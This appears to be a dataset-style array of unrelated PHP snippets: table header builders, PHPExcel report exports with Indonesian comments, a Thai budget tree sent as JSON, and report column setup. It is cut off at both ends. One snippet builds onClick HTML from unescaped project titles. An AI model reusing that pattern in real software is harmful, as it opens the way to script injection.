$currency_type);\n\t\t\t\t\t$content .= '<table align=\"center\" width=\"99%\" border=\"0\" cellspacing=\"1\" cellpadding=\"0\" style=\"border-collapse:collapse;border:1px solid #000000;\"><tbody>';\n\t\t\t\t\tif ($language == 'en') {// en\n\t\t\t\t\t\t$content .= '<tr align=\"center\">';\n\t\t\t\t\t\t$content .= '<td width=\"110\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">CODE</td>';\n\t\t\t\t\t\t$content .= '<td width=\"70\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">TRANSACTION</td>';\n\t\t\t\t\t\t$content .= '<td width=\"60\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">BATCH CODE</td>';\n\t\t\t\t\t\t$content .= '<td width=\"70\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">AMOUNT</td>';\n\t\t\t\t\t\t$content .= '<td width=\"190\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">DESCRIPTION</td>';\n\t\t\t\t\t\t$content .= '<td width=\"120\" style=\"border-right: 0px solid #000000; border-bottom: 0px solid #000000;\">CREATE<br>DATE</td>';\n\t\t\t\t\t\t$content .= '</tr>';\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$content .= '<tr align=\"center\">';\n\t\t\t\t\t\t$content .= '<td width=\"110\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">编码</td>';\n\t\t\t\t\t\t$content .= '<td width=\"70\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">单号</td>';\n\t\t\t\t\t\t$content .= '<td width=\"60\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">批处理名</td>';\n\t\t\t\t\t\t$content .= '<td width=\"70\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">金额</td>';\n\t\t\t\t\t\t$content .= '<td width=\"190\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">描述</td>';\n\t\t\t\t\t\t$content .= '<td width=\"120\" style=\"border-right: 0px solid #000000; border-bottom: 0px solid #000000;\">创建时间</td>';\n\t\t\t\t\t\t$content .= '</tr>';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$content .= '</tbody></table><br>';\n\t\t\t//$content .= '</div>';\n\t\t\treturn $content;\n\t\t}", "function project_overview(){\n extract($this->_url_params);\n /**\n * @var int $project_id\n */\n if(!isset($project_id)){\n $this->redirect();\n exit();\n }\n\n /**\n * @var \\AWorDS\\App\\Models\\Project $project\n */\n $project = $this->set_model();\n $logged_in = $project->login_check();\n\n if($logged_in){\n if((string) ((int) $project_id) == $project_id AND $project->verify($project_id)){\n $this->set('logged_in', $logged_in);\n $this->set('project_id', $project_id);\n $this->set(Constants::ACTIVE_TAB, 'projects');\n $this->set('isTheLastProject', (new LastProjects())->isA($project_id));\n $this->set('dissimilarity_index', (new ProjectConfig())->dissimilarity_indexes);\n $this->set('isAPendingProject', (new PendingProjects())->isA($project_id));\n $this->set('project_info', $project->get($project_id));\n $project->set_seen($project_id);\n }else{\n $this->redirect(Config::WEB_DIRECTORY . 'projects');\n }\n }else{\n $this->redirect();\n }\n }", "protected function getHeadRowValues() \n {\n return array(\n\t\t 'Order Number',\n\t\t 'Order Date',\n\t\t \t/*'Month',*/\n 'Bill to name',\n\t\t\t'Ship to Name',\n\t\t\t'Order Location',\n\t\t\t'Zone',\n\t\t\t'Region',\n\t\t\t'Pincode #',\n\t\t\t'Payment Type',\n\t\t\t'Status',\n \t'Category',\n\t\t\t'Brand',\n\t\t\t'Stock Number',\n 'Sku_name',\n /*'MRP',*/\n\t\t\t'Weight',\n\t\t\t'Order Quantity',\n\t\t\t'Shipping Quantity',\n\t\t\t/*'BSP',*/\n\t\t\t'Invoice Id',\n\t\t\t'Invoice Date',\n\t\t\t/*'Method',*/\n\t\t\t'Original MRP',\n\t\t\t'MRP',\n\t\t\t'Discount_Amount',\n\t\t\t'Basic Sale',\n\t\t\t'TAX Amt',\n\t\t\t'Bill Value',\n\t\t\t'Coupon_Code',\n\t\t\t'Coupon Amt',\n\t\t\t'Formula',\n\t\t\t'Tax %',\n\t\t\t'Tax Type',\n\t\t\t'Courier',\n\t\t\t'AWB No',\n\t\t\t/*'Tax Amount',*/\n\t\t\t\t\t\t\n\t\t);\n }", "function headerRow(&$rows, $rowN, $add_edit_link) {\n $currentRow = current($rows);\n?>\n\t<tr data-row=\"<?= $rowN ?>\">\n<?php\n if ($add_edit_link) {\n?>\n <th></th>\n<?php\n }\n foreach ($currentRow as $fieldName => $val) {\n?>\n\t\t<th class=\"popr\" data-id=\"1\">\n\t\t\t<?= $fieldName ?>\n\t\t</th>\n<?php\n }\n?>\n\t</tr>\n<?php\n }", "protected function getTableHeader() {\n $newDirection = ($this->sortDirection == 'asc') ? 'desc' : 'asc';\n\n $tableHeaderData = array(\n 'title' => array(\n 'link' => $this->getLink('title', ($this->sortField == 'title') ? $newDirection : $this->sortDirection),\n 'name' => 'Title',\n 'cssClass' => 'fa-sort-' . $this->sortDirection\n ),\n 'document_type' => array(\n 'link' => $this->getLink('type', $this->sortField == 'document_type' ? $newDirection : $this->sortDirection),\n 'name' => 'Type',\n 'cssClass' => 'fa-sort-' . $this->sortDirection\n ),\n 'date' => array(\n 'link' => $this->getLink('date', $this->sortField == 'date' ? $newDirection : $this->sortDirection),\n 'name' => 'Date',\n 'cssClass' => 'fa-sort-' . $this->sortDirection\n ),\n );\n\t\t\n // insert institution field in 3rd column, if this is search results\n if($this->uri == 'search') {\n $tableHeaderData = array_slice($tableHeaderData, 0, 2, true) +\n array('institution' => array(\n 'link' => $this->getLink('institution', $this->sortField == 'institution' ? $newDirection : $this->sortDirection),\n 'name' => 'Institution',\n 'cssClass' => 'fa-sort-' . $this->sortDirection\n )) +\n array_slice($tableHeaderData, 2, count($tableHeaderData)-2, true);\n }\n\t\t\n return $tableHeaderData;\n }", "public function export()\n\t{\n\t\tinclude APPPATH . 'third_party/PHPExcel/PHPExcel.php';\n\n\t\t// Panggil class PHPExcel nya\n\t\t$excel = new PHPExcel();\n\n\t\t// Settingan awal fil excel\n\t\t$excel->getProperties()->setCreator('PT Pelindo')\n\t\t\t->setLastModifiedBy('PT Pelindo')\n\t\t\t->setTitle(\"Rekap Rapor Akhlak\")\n\t\t\t->setSubject(\"Rekap Rapor Akhlak\")\n\t\t\t->setDescription(\"Rekap Rapor Akhlak\")\n\t\t\t->setKeywords(\"Rekap Rapor Akhlak\");\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n\t\t$style_col = array(\n\t\t\t'font' => array('bold' => true), // Set font nya jadi bold\n\t\t\t'alignment' => array(\n\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n\t\t$style_row = array(\n\t\t\t'alignment' => array(\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A1', \"Rekap Rapor Akhlak\"); // Set kolom A1 dengan tulisan \"Rekap Rapor Akhlak\"\n\t\t$excel->getActiveSheet()->mergeCells('A1:J1'); // Set Merge Cell pada kolom A1 sampai E1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n\t\t// Buat header tabel nya pada baris ke 3\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('B3', \"NAMA CABANG\"); // Set kolom B3 dengan tulisan \"NIS\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('C3', \"NILAI AMANAH\"); // Set kolom C3 dengan tulisan \"NAMA\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('D3', \"NILAI KOMPETEN\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('E3', \"NILAI HARMONIS\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('F3', \"NILAI LOYAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('G3', \"NILAI ADAPTIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('H3', \"NILAI KOLABORATIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('I3', \"NILAI TOTAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('J3', \"TANGGAL UPLOAD\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\n\t\t// Apply style header yang telah kita buat tadi ke masing-masing kolom header\n\t\t$excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('H3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('I3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('J3')->applyFromArray($style_col);\n\n\t\t// Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n\t\t$siswa = $this->RaporModel->view();\n\n\t\t$no = 1; // Untuk penomoran tabel, di awal set dengan 1\n\t\t$numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n\t\tforeach ($siswa as $data) { // Lakukan looping pada variabel siswa\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('A' . $numrow, $no);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $data->cabang);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $data->nilai_amanah . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $data->nilai_kompeten . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $data->nilai_harmonis . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $data->nilai_loyal . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, $data->nilai_adaptif . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $data->nilai_kolab . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $data->nilai_total . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $data->created_at);\n\n\t\t\t// Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n\t\t\t$excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row);\n\n\t\t\t$no++; // Tambah 1 setiap kali looping\n\t\t\t$numrow++; // Tambah 1 setiap kali looping\n\t\t}\n\n\t\t// Set width kolom\n\t\t$excel->getActiveSheet()->getColumnDimension('A')->setWidth(2); // Set width kolom A\n\t\t$excel->getActiveSheet()->getColumnDimension('B')->setWidth(14); // Set width kolom B\n\t\t$excel->getActiveSheet()->getColumnDimension('C')->setWidth(14); // Set width kolom C\n\t\t$excel->getActiveSheet()->getColumnDimension('D')->setWidth(16); // Set width kolom D\n\t\t$excel->getActiveSheet()->getColumnDimension('E')->setWidth(16); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('F')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('G')->setWidth(14); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('H')->setWidth(19); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('I')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('J')->setWidth(19); // Set width kolom E\n\n\t\t// Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n\t\t$excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n\t\t// Set orientasi kertas jadi LANDSCAPE\n\t\t$excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n\t\t// Set judul file excel nya\n\t\t$excel->getActiveSheet(0)->setTitle(\"Rekap Rapor Akhlak\");\n\t\t$excel->setActiveSheetIndex(0);\n\n\t\t// Proses file excel\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment; filename=\"Rekap Rapor Akhlak.xlsx\"'); // Set nama file excel nya\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n\t\t$write->save('php://output');\n\t}", "public function getAdminPanelHeaderData() {}", "function get_columns() {\n\n //determine whether to show the enrolment status column\n $preferences = php_report_filtering_get_active_filter_values($this->get_report_shortname(),\n 'columns_status', $this->filter);\n\n //default to false because empty group returns non-empty info, causing issues\n //and we will always hit a parameter screen before running the report\n $show_status = true;\n if (isset($preferences['0']['value'])) {\n $show_status = $preferences['0']['value'];\n }\n\n //determine whether to show the completion element column\n $preferences = php_report_filtering_get_active_filter_values($this->get_report_shortname(),\n 'columns_completion', $this->filter);\n\n //default to false because empty group returns non-empty info, causing issues\n //and we will always hit a parameter screen before running the report\n $show_completion = true;\n if (isset($preferences['0']['value'])) {\n $show_completion = $preferences['0']['value'];\n }\n\n\n //user idnumber\n $idnumber_heading = get_string('column_idnumber', 'rlreport_course_completion_by_cluster');\n $idnumber_column = new table_report_column('user.idnumber AS useridnumber', $idnumber_heading, 'idnumber');\n\n //user fullname\n $name_heading = get_string('column_user_name', 'rlreport_course_completion_by_cluster');\n $name_column = new table_report_column('user.firstname', $name_heading, 'user_name');\n\n //CM course name\n $course_heading = get_string('column_course', 'rlreport_course_completion_by_cluster');\n $course_column = new table_report_column('course.name AS course_name', $course_heading, 'course');\n\n //whether the course is required in the curriculum\n $required_heading = get_string('column_required', 'rlreport_course_completion_by_cluster');\n $required_column = new table_report_column('curriculum_course.required', $required_heading, 'required');\n\n //\n $class_heading = get_string('column_class', 'rlreport_course_completion_by_cluster');\n $class_column = new table_report_column('class.idnumber AS classidnumber', $class_heading, 'class');\n\n //array of all columns\n $result = array(\n $idnumber_column, $name_column, $course_column, $required_column, $class_column);\n\n //add the enrolment status column if applicable, based on the filter\n if ($show_status) {\n $completed_heading = get_string('column_completed', 'rlreport_course_completion_by_cluster');\n $result[] = new table_report_column('enrol.completestatusid', $completed_heading, 'completed');\n }\n\n //always show the grade column\n $grade_heading = get_string('column_grade', 'rlreport_course_completion_by_cluster');\n $result[] = new table_report_column('enrol.grade', $grade_heading, 'grade');\n\n //show number of completion elements completed if applicable, based on the filter\n if ($show_completion) {\n $completionelements_heading = get_string('column_numcomplete', 'rlreport_course_completion_by_cluster');\n $result[] = new table_report_column('COUNT(class_graded.id) AS numcomplete',\n $completionelements_heading, 'numcomplete');\n }\n\n return $result;\n }", "public function getProjectJson()\n {\n $data = array();\n $data_budget = ['', 'งบบุคลากร', 'งบดำเนินงาน', 'งบลงทุน', 'งบเงินอุดหนุน', 'งบกลาง'];\n $data_cost = [\n '', 'เงินเดือน (ฝ่ายการเมือง)', 'เงินเดือน (ฝ่ายประจำ)', 'ค่าตอบแทน', 'ค่าใช้สอย', 'ค่าวัสดุ', 'ค่าสาธารณูปโภค',\n 'ค่าครุภัณฑ์', 'ค่าที่ดินและสิ่งก่อสร้าง', 'เงินอุดหนุน', 'งบกลาง',\n ];\n $values = $this->project_model->getProject();\n $data['total'] = count($values);\n\n foreach ($values as $key => $value) {\n $data['rows'][$key]['id'] = $value->project_id;\n $data['rows'][$key]['budget'] = number_format($value->prj_budget_sum, 2);\n $data['rows'][$key]['name'] = $value->project_title;\n\n switch ($value->project_level) {\n case '1':\n $data['rows'][$key]['tools'] = \"\n <div class='btn-group'><button onClick='project_add_plan(\" . $value->project_id . \")' class='btn btn-success btn-sm' type='button'>เพิ่ม</button>\n <button onClick='project_add_plan(\" . $value->project_id . \",\" . '\"' . $value->project_title . '\"' . \")' id='project_edit' class='btn btn-warning btn-sm' type='button'>แก้ไข</button>\n <button onClick='del_prj(\" . $value->project_id . \")' id='project_del' class='btn btn-danger btn-sm' type='button'>ลบ</button></div>\";\n\n break;\n case '2':\n $data['rows'][$key]['tools'] = \"\n <div class='btn-group'><button onClick='project_add(\" . $value->project_id . \")' class='btn btn-success btn-sm' type='button'>เพิ่ม</button>\n <button onClick='project_add_plan(\" . $value->project_id . \",\" . '\"' . $value->project_title . '\"' . \")' id='project_edit' class='btn btn-warning btn-sm' type='button'>แก้ไข</button>\n <button onClick='del_prj(\" . $value->project_id . \")' id='project_del' class='btn btn-danger btn-sm' type='button'>ลบ</button></div>\";\n break;\n case '3':\n $data['rows'][$key]['name'] = $data_budget[$value->project_title];\n\n $data['rows'][$key]['tools'] = \"\n <div class='btn-group'><button onClick='project_add_cost(\" . $value->project_id . \")' class='btn btn-success btn-sm' type='button'>เพิ่ม</button>\n <button onClick='project_add(\" . $value->project_id . \",\" . '\"' . $value->project_title . '\"' . \")' id='project_edit' class='btn btn-warning btn-sm' type='button'>แก้ไข</button>\n <button onClick='del_prj(\" . $value->project_id . \")' id='project_del' class='btn btn-danger btn-sm' type='button'>ลบ</button></div>\";\n break;\n\n default:\n $data['rows'][$key]['name'] = $data_cost[$value->project_title];\n\n $data['rows'][$key]['tools'] = \"\n <div class='btn-group'><button onClick='add_prj(\" . $value->project_id . \")' class='btn btn-success btn-sm ' type='button'>เพิ่ม</button>\n <button onClick='project_add_cost(\" . $value->project_id . \",\" . '\"' . $value->project_title . '\"' . \")' id='project_edit' class='btn btn-warning btn-sm' type='button'>แก้ไข</button>\n <button onClick='del_prj(\" . $value->project_id . \")' id='project_del' class='btn btn-danger btn-sm' type='button'>ลบ</button></div>\";\n\n break;\n }\n\n $data['rows'][$key]['_parentId'] = $value->project_parent;\n\n }\n\n $prj = $this->project_model->getPrj();\n foreach ($prj as $key => $value) {\n $data['rows'][$data['total'] + $key]['id'] = $value->prj_id;\n // $data['rows'][$data['total'] + $key]['budget'] = number_format($value->budget_log, 2);\n $data['rows'][$data['total'] + $key]['budget'] = number_format($value->prj_budget_sum, 2);\n $data['rows'][$data['total'] + $key]['name'] = \"<p style='color:#73899f;'>\" . $value->prj_name . '</p>';\n $data['rows'][$data['total'] + $key]['tools'] = \"\n <div class='btn-group'><button onClick='pay_prj(\" . $value->prj_id . \")' id='project_edit' class='btn btn-default btn-sm' type='button'>จ่าย</button>\n <button onClick='add_prj(\" . $value->prj_parent . \",\" . $value->prj_id . \")' class='btn btn-success btn-sm' type='button'>เพิ่ม</button>\n <button onClick='edit_prj(\" . $value->prj_parent . \",\" . $value->prj_id . \")' id='project_edit' class='btn btn-warning btn-sm' type='button'>แก้ไข</button>\n <button onClick='del_prj(\" . $value->prj_id . \",\" . '\"1\"' . \")' id='project_del' class='btn btn-danger btn-sm' type='button'>ลบ</button></div>\";\n $data['rows'][$data['total'] + $key]['_parentId'] = $value->prj_parent;\n // $data['rows'][$data['total']+$key]['iconCls'] = 'icon-ok';\n\n }\n\n $this->json_publish($data);\n }", "public function createReport()\n {\n foreach($this->_data as $data)\n {\n //$data must have id and data elements\n //$data may also have config, header, footer, group\n\n $id=$data['id'];\n $format=isset($data['format'])?$data['format']:array();\n $config=isset($data['config'])?$data['config']:array();\n $group=isset($data['group'])?$data['group']:array();\n\n $configHeader=isset($config['header'])?$config['header']:$config;\n $configData=isset($config['data'])?$config['data']:$config;\n $configFooter=isset($config['footer'])?$config['footer']:$config;\n\n $config=array(\n 'header'=>$configHeader,\n 'data'=>$configData,\n 'footer'=>$configFooter\n );\n\n //set the group\n $this->_group=$group;\n\n $loadCollection=array();\n\n $nextRow=$this->objWorksheet->getHighestRow();\n if($nextRow>1)\n $nextRow++;\n $colIndex=-1;\n\n //form the header for data\n if(isset($data['header']))\n {\n $headerId='HEADER_'.$id;\n foreach($data['header'] as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$headerId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['header'][$k]['width']))\n $this->objWorksheet->getColumnDimensionByColumn($colIndex)->setWidth(pixel2unit($config['header'][$k]['width']));\n if(isset($config['header'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['header'][$k]['align']);\n }\n\n if($colIndex>-1)\n {\n $this->objWorksheet->getStyle(PHPExcel_Cell::stringFromColumnIndex(0).$nextRow.':'.PHPExcel_Cell::stringFromColumnIndex($colIndex).$nextRow)->applyFromArray($this->_headerStyleArray);\n }\n\n //add header row to load collection\n $loadCollection[]=array('id'=>$headerId,'data'=>$data['header']);\n\n //move to next row for data\n $nextRow++;\n }\n\n\n //form the data repeating row\n $dataId='DATA_'.$id;\n $colIndex=-1;\n\n //form the template row\n if(count($data['data'])>0)\n {\n //we just need first row of data, to see array keys\n $singleDataRow=$data['data'][0];\n foreach($singleDataRow as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$dataId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['data'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['data'][$k]['align']);\n }\n }\n\n //add this row to collection for load but with repeating\n $loadCollection[]=array('id'=>$dataId,'data'=>$data['data'],'repeat'=>true,'format'=>$format);\n $this->enableStripRows();\n\n //form the footer row for data if needed\n if(isset($data['footer']))\n {\n $footerId='FOOTER_'.$id;\n $colIndex=-1;\n $nextRow++;\n\n //formiraj template\n foreach($data['footer'] as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$footerId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['footer'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['footer'][$k]['align']);\n }\n if($colIndex>-1)\n {\n $this->objWorksheet->getStyle(PHPExcel_Cell::stringFromColumnIndex(0).$nextRow.':'.PHPExcel_Cell::stringFromColumnIndex($colIndex).$nextRow)->applyFromArray($this->_footerStyleArray);\n }\n\n //add footer row to load collection\n $loadCollection[]=array('id'=>$footerId,'data'=>$data['footer'],'format'=>$format);\n }\n\n $this->load($loadCollection);\n $this->generateReport();\n }\n }", "public function get_title()\r\n {\r\n return esc_html__('Portfolio Grid: 02', 'aapside-master');\r\n }", "abstract function getheadings();", "public function listJsonAction()\n {\n $this->view->disable();\n if ($this->request->isPost()) $data = $this->request->getPost();\n\n $projcolumns = Projects::getFields();\n\n#echo '<pre>'; var_dump($projcolumns); echo '</pre>'; die(); \n //$projcolumns = $this->replace_key($projcolumns,'unit_type_id','unit_type_name');\n //$projcolumns = $this->replace_key($projcolumns,'available_unit_type_id','available_unit_type_name');\n //$projcolumns = $this->replace_key($projcolumns,'property_type_id','property_type_name');\n #$projcolumns = $this->replace_key($projcolumns,'property_type2_id','property2_type_name');\n #$projcolumns = $this->replace_key($projcolumns,'district_id','district_name');\n\n #$projcolumns = $this->replace_key($projcolumns,'project_type_id','project_type_name');\n #$projcolumns = $this->replace_key($projcolumns,'creation_by','action');\n $cols = array_keys($projcolumns);\n $model = new Projects();\n foreach ($cols as $key => $value) {\n $columns[$value] = [\n 'dbc' => $value,\n 'dtc' => $value,\n 'search' => true,\n 'extendIn' => false,\n ];\n switch ($value) {\n default:\n $columns[$value]['foreign'] = null;\n $columns[$value]['fldtype'] = null;\n $columns[$value]['custom'] = null;\n break;\n }\n }\n $sql = \"\";\n $condition = $sql;\n echo DataTable::generateTableV2($data, $columns, $model, $condition); \n }", "public function export() \n \t\t{\n \t\t$data = $this->model_patient->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data Pasien SN Health Center');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:K')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:K1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR PASIEN APLIKASI SN HEALTH CENTER');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nomor Registrasi');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Nomor KTP');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Agama');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Pekerjaan');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Nomor HP');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('K2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:K2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(15);\n\t\t\t 